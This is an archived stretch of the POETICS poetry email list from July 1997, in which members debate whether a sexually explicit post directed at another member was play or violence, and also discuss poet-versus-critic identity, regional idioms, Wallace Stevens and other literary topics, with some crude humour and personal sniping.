Personally, I've got a lot of problems with S&M/B&D play, even when it *is* consensual, since the thrill of it seems to me to be based on existing (and persisting) power imbalances in the real world. Playing at Master and Slave is only exciting if there *are* masters and slaves; otherwise there would be no exhilaration, no sense of power, no risk. So, though S&M relationships are ostensibly contracts between partners, I think that there are always exploited/appropriated silent partners in the relationship in the form of involuntarily subjugated populations whose oppression provides the narrative upon which S&M partners draw.

Still and all, I don't think that what Kim Dawn was engaging in *was* "S&M," though she employed the textual artifices that *imply* S&M. What I mean by this is that Kim Dawn was describing a situation which existed only in her

imagination, and the sexual imagery was generated *not* to actually partner with Schwartz in an S&M exchange (coercive or consensual), but to point out to Schwartz that text was uncontrollable, unrestrained in the manner that Schwartz wished it to be restrained. If Schwartz had complained about frivolous baseball imagery, perhaps Kim Dawn's textual persona would have scratched her crotch for luck, spat some virtual tobacco juice on his shoes, and sent a pitch smoking at his head, though I imagine (and please correct me if I'm wrong about this, Kim Dawn) that Schwartz's special distaste for the S&M play was a particular trigger for Kim Dawn. Remember that the motivation for Kim Dawn's play didn't seem to be the entrance of S&M into the conversation (she had been silent during the light S&M exchange which provoked Schwartz's comment), but was confined to a reaction to Schwartz's attempt to *control* the conversation. So I took her post (and continue to take it) as an eruption of the uncontrollable, an illustration of Schwartz's lack of power to determine what would or would not appear on POETICS. We can argue about the effectiveness of the response, but that does not seem to be the issue here.

> *As far as reading such material in public, to me, that is a shady area. At Naropa, I was invited to read, and the people who invited me were familiar with my work, but some of the audience members weren't, so is violence being perpetrated upon them?*

At a reading, or on a discussion list, no one is *forced* to engage with sexually explicit subject matter. One can walk out the door or use the "d" key. There *are* situations in which unwilling listeners are forced to endure speech that disturbs them, and there *are* situations in which walking out on or not reading disturbing texts can have material costs for those unwillingly exposed to such material, but I don't think that this discussion is in that category. A key element in violence is the *power* to exercise it. Again, I don't see how Kim Dawn had power of Jay Schwartz, and so I don't see violence in the exchange. (Of course, I *do* realize that those without power do have the option of violently erupting toward those who *do* have power, but such eruptions are usually quickly contained and flattened, and I don't think that's what happened here either.)

Kali

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97. Mark Weiss
apologeeoney
Thu 3 Jul 1997

Oy vey! By posting to the list what I meant as a backchannel to Henry I have probably inflamed where I hoped to soothe. Please (please) let this thread die!

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98. David Israel
Re: American Language 1
Thu 3 Jul 1997

Very nice regionalisms, Dr. Barbour.

> *"he's the kind of person who wouldn't piss in your ear*
> *if your brain was on fire!"*
> *& I still dont know if that's a compliment or a putdown...*

presumably the intended sense is that a person of said kind is a person lacking in (even the most rudimentary) attributes of human kindness -- the colorful example cited being, perhaps, more for rhetorical flourish than for sake of descriptive clarity?

Under normal circumstances, to piss in someone's ear isn't an act demonstrating great care & consideration. It seems a rude gesture. But That Person is one so lacking in courtesy, he won't even perform a rude gesture if it would be of benefit to his fellows. This seems an interesting definition of rudeness: being too essentially rude (unreesponsive to the needs of others) to act in even a rude-seeming manner, in the event that the underlying nature of the needful act (hidden under the semblance of rudeness, in this case) would be of actual benefit to others. Suggests that real rudeness resides in the heart, rather than in the outward manner; a rude-seeming act can be the essense of kindness; refraining from a rude act can be the epitome of rudeness. Interesting stuff, doc.

d.i.

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99. Pritchett,Pat
Re: play vs. violence
Thu 3 Jul 1997

In some ways, of course, reading *is* an act of violence, a "systematic derangement," the icepick Kafka longed for to break open the frozen sea inside, a catalyst which once it has entered a given frame of referents may result in often unpredictable reactions.

But as far as reading work in public which makes people uncomfortable, I'd say to Dodie Bellamy: they paid their money and they took their chances. As far l'affaire Kim/Jay goes, I think there are rules even for the game of transgression otherwise, what are you transgressing?

Patrick Pritchett

From: dbkk
To: POETICS
Subject: play vs. violence
Date: Thursday, July 03, 1997 2:32PM

As far as reading such material in public, to me, that is a shady area. At Naropa, I was invited to read, and the people who invited me were familiar with my work, but some of the audience members weren't, so is violence being perpetrated upon them?

Dodie

↑ Index

100. David Israel
Re: identity/poetics
Thu 3 Jul 1997

Kali notes:

> *truly, i think that there is a david bromige inside everyone trying to get out.*

is that what's sometimes known as "the thin man"?

d.i.

/ / /

(p.s. to David B.: this quip (& likewise Kali's, I presume) assumes awareness of a pop-dieting utterance to the effect, "in every fat woman is a thin woman wanting to get out . . .")

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101. Hoa Nguyen
Re: identity, and other excresences
Thu 3 Jul 1997

> *That is to say, maybe the whole question of identity means different things to writers and critics (not, of course, that they're necessarily different, but . . .)*

Critics and poets are very different animals. The artist essentially, as I see it, relies on mimesis to present, discover, or engage questions of identity. In this sense, the artist blurs those distinctions. It's like Keats saying that a poet is the most unpoetical of things because he/she's constantly being incorporated into other bodies other than their own, thus confusing that established notion of the stable, unified individual. The lyric moment provides release for the poet to sift

through those shifting identities. This is nature, the way airplanes resemble birds.

A critic, on the other hand, is usually far more rigid and uses a language which is discursive. The critic always preserves that stable conception of him or herself in some authorative way. The thought process is more binomial and partial to the catagorical assumptions of the mind rather than the more comprehensive and less structured impressions mimetic art provides. Critical thought can grasp and explain questions of identity. But the real work and exploration of such questions take place in one's active life and in the isolate hours of one's art. Says me. There are plenty of attempts now, of course, for critics to write poetry and vice versa. But the emphasis seems to be on the mental perception of identity rather than experiential patterns of knowledge.

Sorry to take up the space on such a rather obvious subject. But it's my way of getting even with the overly bloated and poorly written posts I've read re: identity of late.

Happy Holiday
Dale

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102. David Bromige
Stepping down (by God)
Thu 3 Jul 1997

As you know, a mortal can only be God for a day. It was curiously refreshing, as you'll see when your turn comes around. Nothing to prove any more. Anxiety free. But then, a little tiresome, having to watch every sparrow fall. And knowing ahead of time that it is about to fall. Mark Weiss, dont blame yourself, I made you post that private message, publicly. I made Henry G post that message against further provocation that included in qualifying what had looked like a previous apology the possibility of provoking david bromige further. I made Alson Nielsen listen to an hour of Bob Dylan to find phrases for his postings. Yes, and I held up the List for my day, just to let matters cool down a bit. And I decided to have Aldon expose the david bromige/kali tal hoax, & to let Charles Alexander confirm it with his posting that revealed david bromige was in tucson addressing a group of which Kali Tal is a member and yet as we some of us know Kali Tal was _not_ present at this event. (Subtle of Charles not to mention this last fact. I make Charles subtle). Yes, & I found Susan Schulz a new place to live, there on Hui Iwa. But thats the end of good deeds, I'm stepping back into my "real""actual""true""valid" i.d. as davy b. Oh, two final acts as

God: Mike Magee, I never said I was fair, only just : as in, "Crushed balls? No penis? Well that's *just* too bad. You cant come into the synagogue, because thats just too bad." And Douglas Barbour : I made you post that wonderful piece of canadian speech to show how God works. First, he sets your brain on fire; next, he has people pissing all over you in an attempt to get it in your ear.

Hope you-all werent too shocked when I had Kali Tal expose her role-playing in this recent "my-brain's-on-fire" spectacle.

David Bromige, going to mop myself up now.

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103. Matthias Regan

Re: identity, and other excresences

Thu 3 Jul 1997

So you saying that there is an EXTERNAL difference between poet and critic
(as in Sartre's example, between chair and giraffe)
and that this natural and actually inviolable difference
is based on a difference of perception--
experiential knowledge v.
mental perception--
mimetic v. metaphoric,
a binary deriving from
synchronic v. diachronic, perhaps?

But the diachronic will always slip into the synchronic
eventually --

did you write this as poet or critic--

or am I --

good-naturedly,

as the weekend commences,

Matthias

>
>
>Critics and poets are very different animals. The artist essentially,
>as I see it, relies on mimesis to present, discover, or engage questions
>of identity. In this sense, the artist blurs those distinctions. It's
>like Keats saying that a poet is the most unpoetical of things because
>he/she's constantly being incorporated into other bodies other than
>their own, thus confusing that established notion of the stable, unified

>individual. The lyric moment provides release for the poet to sift
>through those shifting identities. This is nature, the way airplanes
>resemble birds.
>
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>language which is discursive. The critic always preserves that stable
>conception of him or herself in some authorative way. The thought
>process is more binomial and partial to the catagorical assumptions of
>the mind rather than the more comprehensive and less structured
>impressions mimetic art provides. Critical thought can grasp and
>explain questions of identity. But the real work and exploration of
>such questions take place in one's active life and in the isolate hours
>of one's art. Says me. There are plenty of attempts now, of course, for
>critics to write poetry and vice versa. But the emphasis seems to be on
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>knowledge.
>
>Sorry to take up the space on such a rather obvious subject. But it's
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>Happy Holiday
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>
>_____
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>
>

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104. **David Bromige**
Last words
Thu 3 Jul 1997

....& then I had Dale post that bit abt the poet & the critic. Go// David B

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105. **Kali Tal**
Re: play vs. violence
Thu 3 Jul 1997

> *Yes. Shit. Barbaric threats employed as play are totally acceptable.*

The power of a threat is its menace, its implication that hostile intention can indeed be carried out. I still argue that there was no menace in Kim Dawn's post. It was not a threat. It was not even a bluff.

> *Irony and Play are used to defend any half thought provacation one can offer.*

This is true. I've heard plenty of comments about how feminists and antiracist activists have "no sense of humor." Most often the people who make those comments are sexist or racist or both, and act in ways that--in the real world--oppress others. But what I'm arguing here is *not* that Kim Dawn's post was funny, but that it was *not* violent, not a threat.

> *It's a defense for cowardice and artlessness. Who one fucks or how one fucks that other or what one will do to some one else is so boring. It's not an offense. It's weak, scared, and screaming of one's lost and damaged psyche. The real insult, however, the only truly awful posts I have seen lately, are those, like below, which abuse language in even more sinister ways than playful, ironic attacks on one's cyber character. At least KD's language had color. Kali's words are mud, smudged and gray. In that continuing necessity to BE RIGHT language is shit out of Kali's mouth to create a heap of impenetrable clarification. Congratulations. Kali is right out of sheer stamina. KD's language can at least be read for its impulsiveness. Kali's is thick with thought, but little feeling. Maybe the critics do have an edge these days.*

Now *this* is an interesting paragraph. It's so full of direct insults and attributions of motivation that it's hard to distinguish the argument from the rabid froth, but let me make a stab at reading it... The phrase that strikes me as most revealing is "a heap of impenetrable clarification," by which I assume Smith means that I continue to insist on the importance of being clear and specific, and that I employ a critical vocabulary and methodology in (some of) my texts. Lumping me with "critics," (a Bad Thing, apparently), he accuses me of "thought, but little feeling," in an attempt to paint me as "even more sinister" than transgressors like Kim Dawn. I'm not at all bothered by Smith's dislike of my prose style, though I think it strange that while he's raging against the "barbaric" texts of others, he has no hesitation about calling my language "shit."

I'd like to point out, for the record here, that there are only two writers about whom it has been said publicly on POETICS that their writing is without worth, "stupid," or "shit." Those two writers are both women, and they were/are both (in different ways) writing against the grain. No women, and no men, have ever dismissed a male poster's texts in such final and judgemental terms. This is not a coincidence. This is how women are dealt with when they act "inappropriately."

One of the things that seems to bother Smith (and Weiss, who has commented upon it previously) is the volume of my prose. On a list where everyone can titrate, read or not read, skim or delete as they choose, what does volume signify? Surely no one who disagrees with me is going to be persuaded by the *volume* of my work? My own conclusion is that writing long and frequent posts is a kind of manifestation that certain hostile readers simply can't tolerate. In traditional settings they might be able to disappear me and women like me--there are so many mechanisms for silencing female voices in f2f interaction. But on email lists, I am indisputably present--more present, perhaps, than some of those who react so strongly to my posts. And perhaps it is the relative invisibility of their *own* personae that so disturbs them, as if an email discussion forum were a zero-sum gathering; if there's more of me, there's necessarily less of you. One of the most disturbing conclusions I've drawn from years of email list interaction is that the self-concept of certain people (mostly male, mostly white) seems to be *based* on my erasure, or on the erasure of people like me. *If* I manifest, then they immediately start to feel strangled, victimized, stomped upon. Only my textual death calms them. And since it is my pleasure to manifest in virtual company, I find myself, all too often, the Typhoid Mary of Flame Wars, puzzled at the strength of certain people's reactions, and passing through unmoved by whatever it is that's driving them wild.

Kali

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106. Hoa Nguyen

Re: play vs. violence

Thu 3 Jul 1997

Yes. Shit. Barbaric threats employed as play are totally acceptable. Who knows what line is drawn at any moment, or how to read the mail of cyberville? Irony and Play are used to defend any half thought provacation one can offer. It's a defense for cowardice and artlessness. Who one fucks or how one fucks that other or what one will do to some one else is so boring. It's not an offense. It's weak, scared, and screaming of one's lost and damaged psyche. The real insult, however, the only truly awful posts I have seen lately, are those, like below, which abuse language in even more sinister ways than playful, ironic attacks on one's cyber character. At least KD's language had color. Kali's words are mud, smudged and gray. In that continuing necessity to BE RIGHT language is shit out of Kali's mouth to create a heap of impenetrable clarification. Congratulations. Kali is right out of sheer stamina. KD's language can at least be read for its impulsiveness. Kali's is thick with thought, but little feeling. Maybe the critics do have an edge these days.

Dale Smith

>>In SM attempts are made to clarify the line between sexual play and sexual
>>violence. There are contracts, there are code words to emit if one has had
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>that men have in this society to rape women and get away with it. Thus, I
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>
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>so I don't see violence in the exchange. (Of course, I *do* realize that
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>who *do* have power, but such eruptions are usually quickly contained and
>flattened, and I don't think that's what happened here either.)
>
>Kali

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107. Ryan Whyte
Christie Julie
Thu 3 Jul 1997

Christie today lost to the worldJulie
held toast blocks shaped charge Oskar
Wernerwrit-ten wred settee
 Werner Cahiers Cine in fl
inside Oscar July
Christy

scrawled walked on Beckettt
coktoe this eighteenth head
head photograph
moved - high explosive
through her mild steel
like "for-gotten"
long libraries her bodyage
moves flame, expansionnewskin

you don't know who this is
so I say: the is is
fuck-king go doe
Christieus lips
 hardened steel for action,
 into the bargain
 Low light a
after-all

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108. George Bowering
Bromige
Thu 3 Jul 1997

This is a true story.

One day a couple weeks ago a friend named Heather was looking through my photo albums and found several pictures of David Bromige. Every time she found one she exclaimed "Who IS that handsome man?"

Worse part of it was: it was Bromige every time!

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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109. George Bowering
Re: identity/poetics
Thu 3 Jul 1997

> *Kali notes:*
>
> *truly, i think that there is a david bromige inside everyone trying to get out.*

That's a switch. I know someone who's been trying to get INTO Bromige for years.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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110. George Bowering
Re: query
Thu 3 Jul 1997

Regarding Jerry and Paree:

There is going to be a conference on Ondaatje at the end of Nov. in Paris, at UP3, I think. I dont know how long yr extended stay wiull be, Jer.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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111. Mark Weiss
identity
Thu 3 Jul 1997

Here's an identity question: If Bambi the deer is supposed to succeed "his" father as king of the forest "he" must be male. So is it just a colossal example of inattentiveness that generations of little girls (and never little boys) get named Bambi, or was that deer in drag?

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112. David Israel
Re: play vs. violence
Thu 3 Jul 1997

Kali --

As an exercise, I've endeavored to address -- below -- issues of reading & misreading in your latest post responsive to Dodie's latest post. Dare say I consider this current msg. a bit long-winded. But what to do? In my view, something has been missed, and perhaps there's no better way to locate it than through this manner of exercise -- an exercise in careful reading. Frankly I'm not especially practiced at this manner of logical refinement. Nonetheless, in a pinch, I think I can note the difference between a suit (clubs, spades, hearts) on the one hand, and cards within a suit (ace, duce, jack), on the other. That's what I'll endeavor to do here.

I adopt the theoretical tone now in evidence, as it seems to fit this sort of textual analysis. I trust that, god-willing, I'll be able to revert to regular talk after I've hit the magic Send key. So, here goes.

/ / / / /

It's good that you try to refine some semantic distinctions. I think, however, in your reading of Dodie's post you've made a leap that is not warranted in the intended sense of the text under discussion. It's an understandable leap, but it's a leap that becomes the source of what strikes me as a continuing misunderstanding (or misreading) of what's really at issue here.

Dodie wrote --

<< In SM attempts are made to clarify the line between sexual play and sexual violence. There are contracts, there are code words to emit if one has had too much. But, the essential difference between play and violence, as I understand

it, is the mutual consent of the partners. This isn't news, I'm sure, to any of you--it's much a part of legal definitions (at least in the U.S.). >>

Okay, let's call that "A".

Then Dodie wrote:

<< Since neither Jay Schwartz, nor other list members, had consented to Kim Dawn's aggressive pornographic whatever that was directed towards Jay, I do not feel it should be categorized as sexual play, but as sexual violence. I do not challenge her right to use sexual explicit material in her writing, I merely challenge its non-consensual use. >>

Okay, let's call that "B".

In both A and B, there are distinctions drawn. In A, the distinction is between (literal) sexual play and sexual violence. In B, the distinction involves two categories of *writing* -- two forms of verbal / written behavior. Neither involves literal physical sexual behavior (obviously). Therefore, we may understand that Dodie intends not to posit an *equivalence* between the terms of A and the terms of B, but rather, she wishes to draw an *ANALOGY* between those terms.

To repeat, in B, Dodie writes, << Since neither Jay Schwartz, nor other list members, had consented to Kim Dawn's aggressive pornographic whatever that was directed towards Jay, I do not feel it should be categorized as sexual play, but as sexual violence. >>

The key term that occasions your misreading is *should be categorized as....* You take Dodie to task for categorizing an e-speech act as sexual violence. Fine. But in fact, an e-speech act is *neither* literal sexual play [LSP] *nor* is it literal sexual violence [LSV]. It is neither of those two terms. When Dodie suggests that the speech-act in question is LSV rather than LSP, what she is doing is drawing an analogy. What we see here is a linguistic act of analogy, not a linguistic act of equivalence.

On the level of analogy, some email messages can, perhaps, be placed at either pole of the bifurcation, the distinction that's at the center of the text -- i.e., some acts of written communication can, perhaps, be approached as analogous either to LSP or to LSV. This is a distinction in the realm of analogy -- and Dodie draws the analogy for the reason that it involves moral, ethical, and courtesy resonances from the realm of A that seem germane to analogous moral, ethical, and courtesy overtones in the realm of B.

In the realm of B -- the realm of listserv writing, communication in a public electronic discussion forum -- there is a distinction to be drawn between play (which can best develop where there's a shared sense of language, a shared enjoyment of interaction, -- some (say) preliminary acquaintance or courtship

behavior: all factors well in evidence in the antecedent menage of B. & B. & M & (was it?) E. -- but not, I'm afraid, present in the JS / KD encounter) on the one hand, and taunting, assaultive, threatening verbal behavior, on the other. You choose to read KD's post in terms of the play side; others have tended to construe it in terms of the taunting side. That's the level of distinction, in any case, that Dodie's text endeavored to address.

If you turn your gaze away from that distinction, by critiquing the term of equivalence (the "can be categorized as" -- which was, I opine, never intended to be taken *literally*), then you have immediately moved away from the intended sense of the text, into another (and tangential) issue -- an issue possibly worthy of discussion in its own terms, but not the real focus of the text at hand.

To reiterate & clarify: when, in paragraph B, Dodie says "I do not feel it should be categorized as. . . " this is NOT to be construed literally -- as a casting into the (literally) same category. Rather, looking at the text as a whole, it appears evident (to me) that what is in progress in this text is an act of ANALOGY rather than a drawing of EQUIVALENCE. (The two are by no means the same.) You critique it on the level of equivalence. But suppose you were to read it on the level of analogy. How, then, would your reading go? Might you recognize the distinctions that Dodie wishes to draw?

So: properly construed, we may understand that Dodie wishes to draw an analogy between the distinction outlined in A (LSP versus LSV) and an *analogous distinction* that she feels should be recognized in the realm of speech acts -- the realm of B, a distinction noted in the latter as that between "[Kim's] use of sexually explicit material in her writing" (meaning, work for publication) and "her aggressive pornographic whatever that was directed to Jay" (meaning, an act of symbolic taunting & aggression in this nouveau epistolary realm of words on screens).

The remainder of your post largely concerns an elucidation of distinctions devolving from (mis)reading the text as a language act of equivalence rather than as a language act of analogy. Read in the latter fashion, the intended sense should, I think, be clear.

/ / / / /

Finally, this is mainly a matter of varying senses of manners & courtesy. Equally, it concerns different ways of construing the MEDIUM at hand. Is this publication? Is it conversation? Is it equivalent to a performance space, where whoever performs is, ipso facto, a performer? Or is it better to be understood -- through analogy -- as tantamount to the bar where folks might sit around, after performances, and chat congenially.

If, in the course of such a chat, someone (like JS) objects to the raucous behavior of some of his bar-mates (like B.B.M&E), someone (like KD) might -- fresh off the stage, perhaps, and still in fine form, venture to transform the bar arena into a stage arena. If the bar folk happen to be in good humor, she might be able to pull it off, working such a magic on the assembled friends. But if (for instance) her performance involves "what sure sound like" assaultive words that sure seem to be directed at a chap at the bar to whom she's not been introduced, there's the danger that said chap (and/or others sitting at adjoining tables) may conclude that what looks like a duck & sounds like a duck and taunts like a duck, really is a duck. Those who recall all of KD's delightful duck impersonations in past stage events, will no doubt know different -- and think better. But in the instance, or meantime, a lot of talk might well ensue.

best,
d.i.

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113. Hugh Steinberg
Re: identity, and other excresences
Thu 3 Jul 1997

Dale writes:
>
>Critics and poets are very different animals. The artist essentially,
>as I see it, relies on mimesis to present, discover, or engage questions
>of identity. In this sense, the artist blurs those distinctions. It's
>like Keats saying that a poet is the most unpoetical of things because
>he/she's constantly being incorporated into other bodies other than
>their own, thus confusing that established notion of the stable, unified
>individual. The lyric moment provides release for the poet to sift
>through those shifting identities. This is nature, the way airplanes
>resemble birds.
>
>A critic, on the other hand, is usually far more rigid and uses a
>language which is discursive. The critic always preserves that stable
>conception of him or herself in some authorative way. The thought
>process is more binomial and partial to the catagorical assumptions of
>the mind rather than the more comprehensive and less structured
>impressions mimetic art provides. Critical thought can grasp and
>explain questions of identity. But the real work and exploration of
>such questions take place in one's active life and in the isolate hours
>of one's art. Says me. There are plenty of attempts now, of course, for
>critics to write poetry and vice versa. But the emphasis seems to be on

>the mental perception of identity rather than experiential patterns of
>knowledge.
>
Both categories/modes of writing would be a lot more interesting if they were reversed. Artists don't "have" to rely on mimesis; critics can dissolve their "authority." We all can have more fun.

Hugh Steinberg

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114. **jarnot**
Re: Harryette Mullen, part II
Thu 3 Jul 1997

---

there's also an interview with harryette mullen (by barbara henning) in the oct/nov 1996 poetry project newsletter available for $5.00 from the poetry project, st. mark's church, 131 east 10th street, ny, ny 10003.

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115. **Schuchat Simon**
Re: identity, and other excresences
Thu 3 Jul 1997

Re Wallace Stevens the insurance lawyer, Delmore Schwartz used to claim that he had met someone from Hartford Life and, thinking to surprise him, told him about the great poet who worked there. The insurance executive replied that Hartford Life's management all knew about Stevens poetry, that he was not much good as an attorney,but they kept him around because of the prestige he brought the firm.

Delmore S is a less than reliable narrator, but I think there is some necessary truth in the anecdote, irrespective of the particulars.

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116. **Mark Weiss**
Re: American Language 1
Thu 3 Jul 1997

Perhaps I can confuse matters by recounting a story. Some years ago I was running a reminiscence workshop with elderly Jewish people at a Y in Brooklyn. The subject of folk-cures came up. The usual stories about the efficacy of leeches came forth, but also one old woman told us that she regularly cured earaches by filling her ear with urine. It is, in fact, a pretty good antibiotic if

nothing better is at hand. But it was her own urine. I think she would have found it indecorous to ask someone else to piss in her ear.

At 04:34 PM 7/3/97 -0400, you wrote:
>Very nice regionalisms, Dr. Barbour.
>
>> "he's the kind of person who wouldn't piss in your ear
>> if your brain was on fire!"
>> & I still dont know if that's a compliment or a putdown...
>
>presumably the intended sense is that a person of said kind is a person
>lacking in (even the most rudimentary) attributes of human kindness --
>the colorful example cited being, perhaps, more for rhetorical flourish
>than for sake of descriptive clarity?
>
>Under normal circumstances, to piss in someone's ear isn't an act
>demonstrating great care & consideration. It seems a rude gesture. But
>That Person is one so lacking in courtesy, he won't even perform a rude
>gesture if it would be of benefit to his fellows. This seems an interesting
>definition of rudeness: being too essentially rude (unreesponsive to the
>needs of others) to act in even a rude-seeming manner, in the event that
>the underlying nature of the needful act (hidden under the semblance of
>rudeness, in this case) would be of actual benefit to others. Suggests that
>real rudeness resides in the heart, rather than in the outward manner; a
>rude-seeming act can be the essense of kindness; refraining from a rude
>act can be the epitome of rudeness. Interesting stuff, doc.
>
>d.i.
>
>

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117. **Steven Marks**
Re: Tagore / Orientalism
Thu 3 Jul 1997

Thanks, George, for responding to my question about whether the NYRB was a balanced article. I would say that my reactions are similar to yours. I am not familiar enough with Tagore's poetry to say anything certain, but I have enjoyed what I have read (courtesy of David Israel) on this list, particularly the poem about sailing paper boats down the river.

On another Indian (or Bengali) note, my wife and I recently watched the Apu Trilogy by Satyajit Ray which I think was suggested by either Henry or David. The three films follow the life of Apu from a young boy to adulthood from approximately the 1920s to the 1940s. Each is outstanding and it is readily apparent that Ray's graphics career contributed much to his ability to frame scenes. The technique reminded me of the Iranian film called "The White Balloon" (??) which came out last year. Everything in the frame "does" something. My wife also pointed out the preponderance of shots which involve door frames or gates or windows. All in all, visually stunning.

And to tie Ray with Tagore, Ray attended Tagore's famous school, Santinikaten.

best,
Steven

Steven Marks

http://members.aol.com/swmarks/welcome.html

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118. David Israel
Re: play vs. violence, p.s.
Fri 4 Jul 1997

---

minor postscriptum --

two notes:

1. memory resurfaces, and I realize that the antecedent grouping should've been identified correctly as B.B.M.& R. [rather than &E.] -- so apologies to pertinenet personages (though I don't suppose Rachel will find me guilty of quite such wild acts of misattribution as noted the legendary Bowering [er, okay, I mean Bromige] case.

2. in my discussion-just-sent, I didn't happen to note that (w/ mild paradox) I was initially a formulator of the of the "KD as performance" school of interpretation -- a school for which Kali has made herself an able spokesperson. (And there was also another gent who articulated this view well -- pardon I don't recall his name at this point.)

In any event, in context of my discussion to which this forms a p.s., I don't think there's special incongruity in that parenthetical micro-history; -- that's not (for instance) out of keeping with the concluding bar-talk metaphor. Merely shows that when I saw her walk in the door, I reckoned KD approached the bar arena as a legit performance space. [Have seen fine performances tricked out as bar

spaces, for that matter -- esp. among the faux- or neo-cabaret set. E.g., was quite the thing at LaMama, circa '90.] To a certain degree, perhaps we all do (even those who convene here mainly to unwind, or share news, or argue critically abt. the day's shows, or to talk up tomorrow's set, or to get roaring sauced). To what degree, might be what's at issue.

A factor seems to be how attentive one is (or care to be) to little feedback loop(s) that tell useful things, if one's at all minded to attend to them. Like -- is someone witting the joke, or getting the point? Do I care (finally) to communicate? -- is this crowd too obtuse for my subtle sophistry? . . .

and other things too . . . like, what's that bluesy music in the background? Who's footing the bill? Is that a pool table yonder? What's this grain of wood resemble? How old was the tree? Is the cognac from France? Are those stars there, out the window? . . .

d.i.

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119. Thomas Bell

Re: identity, and other excresences

Fri 4 Jul 1997

Davenport in _Gracchus, "Calvino...explains that writing takes one of two forms, the crystal or the flame. By crystal Calvino means writing like his own, with a logical and symmetrical structure, faceted and gleaming. By flame he means that art which holds turbulence inside a shape. Stillness and flow: the abstract and the concrete." critic and poet? tom bell

At 02:22 PM 7/3/97 PDT, Hoa Nguyen wrote:
>>
>>That is to say, maybe the whole question of identity means different
>>things to writers and critics (not, of course, that they're necessarily
>>different, but . . .)
>
>
>Critics and poets are very different animals. The artist essentially,
>as I see it, relies on m

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120. Thomas Bell
Identity, writing on air head constructing
Fri 4 Jul 1997

---

selfspeculations from hard science 'constructivists perceive humans as theories of their environments; that is, individuals are embodied metaphors that exist through understanding.' Our understanding is who and what we are. The act of writing is an act of projecting our own understanding. understanding is not something that exists inside or outside an individual but instead is his or her own action. tom bell

shoot me down - this needs some mulling.

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121. Karen and Trevor
New Book from Kelsey St. Press
Fri 4 Jul 1997

Kelsey St. Press is proud to announce the publication of _Rebecca Letters_, a collection of prose-poems by Laynie Browne exploring the intersecting grammars of ancestral history and language. The writing of these letters is located at the site of consulation of mysteries not to be tampered with. There is an old voice here that speaks with the oracular authority of ancestral history and language.

Laynie Browne's work has been anthologized in _Gertrude Stein Awards in Innovative Poetry_ ed. by Douglas Messerli and in _A Curious Architecture_, a collection of British and American prose-poetry ed. by David Miller and Rupert Loydell. She is an active figure in poetry on the East and West Coasts and is also the author of 3 chapbooks.

Rebecca Letters is now available at Small Press Distribution [redacted], or through Kelsey St. Press at [redacted].

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122. main
Re: A List of Poetry Schools Revisited
Fri 4 Jul 1997

---

bob--
thanks for list.
curious: what's "contra" about maya angelou? diction?
dan featherston

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123. David Israel
Wally the genius
Fri 4 Jul 1997

[was, subject: Re: identity, and other excresences]

Mark Weiss remarks:

<< For me the most interesting reaction to Stevens at the office was an executive who allowed as how he'd looked at Stevens' poetry and didn't think much of it, but as an insurance lawyer he was a genius. >>

yes, and did you hear abt. what the woodworker of Galilee said?

<< Hey, I worked with Jeez for eight years. Later I heard stories abt. him wandering around in them Cecil B. Demille outfits, healin' & stuff, talkin' big & vague & fancy -- some kinda new agey Orientalist if you're askin' me. (Guy never was quite the same after those years in India.) Shoot, one spring, I'd just finished this whole teakwood cabinet set for the rabbi's aunt's third cousin, & headin' home, I walked by the J. crowd when Mr. Heartwood there was givin' his so-called sermon on the mount -- he'd gone all soft in the head & poetical. "Refried Ecclesiastes" is what we used to call it -- 'course with a big dash of Khalil Gibran thrown in for flavor (& probably some kinda Mysore Buddhism snuck in on the sly).

You say the J. man was a mystic? Don't know much about that -- but man! what a carpenter! That dude could detail a surface like nobody's business. When he built something, it was -- let me tell ya -- solid! >>

d.i.

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124. rsillima
Not Orville Redenbacher
Fri 4 Jul 1997

Dodie,

Are you suggesting that my account of fisting Jesse Helms in a piece I'm currently working on might be politically incorrect? Or because I recommend rough-edged brass knuckles for the process?

Oh, the horror of being P.I. I'm so ashamed.

* * *

Bob Grumman,

Your typography is my idea of a sort of perfect past-time, the litcrit equivalent of rotisserie baseball. Generally your categories seem okay, though I wonder how I missed out on the "school" of flow-chart poetics. What seems infinitely more interesting is to note how "other" tendencies show up over time in what may appear for awhile to have been a stable field. Thus, for example, I think if you look closely at any of the larger groupings there (whether langpo or neoformalism), you will find that the really interesting tendencies within them are in some very real sense Other.

On the other hand, this typography doesn't Tell Us Anything--i.e., it doesn't add to any knowledge we might have about a given poet.

Also, the idea of langpo as "acadominant" suggests that your Prozac levels are much too high. If it were acadominant, as you put it, we'd've gotten Andy Levy some great job by now, Lee Ann Brown wouldn't have to work at a gazillion different schools, Tom Mandel's software would be used by every school in the country, Bob Grenier wouldn't be proofreading in a law firm, Steve McCaffery would be offered jobs that actually exist, UCSD would to acknowledge Rae Armantrout as a major component of its literature program and give her things like a real salary and health benefits and Juliana Spahr would be allowed to teach on the same continent. Etc. Etc. Etc. To quote Cuba Gooding, Jr., Show me the ....

As possibly the only person on this list to have ever met both David Bromige and the late Orville Redenbacher, let me assure that David is taller but does not dress so natty. David is more of a George Bowering with manners. Orville was more Pee Wee Herman without the irony.

I've never met Kali Tal, although I'm certain her name is secretely an anagram.

Ron

Ron Silliman
262 Orchard Road
Paoli, PA 19301-1116
[redacted]
[redacted] (o)
[redacted] (fax)
[redacted]
[redacted]
http://writing.upenn.edu/epc/authors/silliman/

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125. David R. Israel
Inner Chapters / vastitude
Fri 4 Jul 1997

[was, subject: Re: ears and origins]

Rebecca --

further re:

> *In the case of ears and origins, one might consider Waley's observation:*
>
> *The methods of Chuang Tzu are those of the poet, and in the case of poetry analysis is useless.*

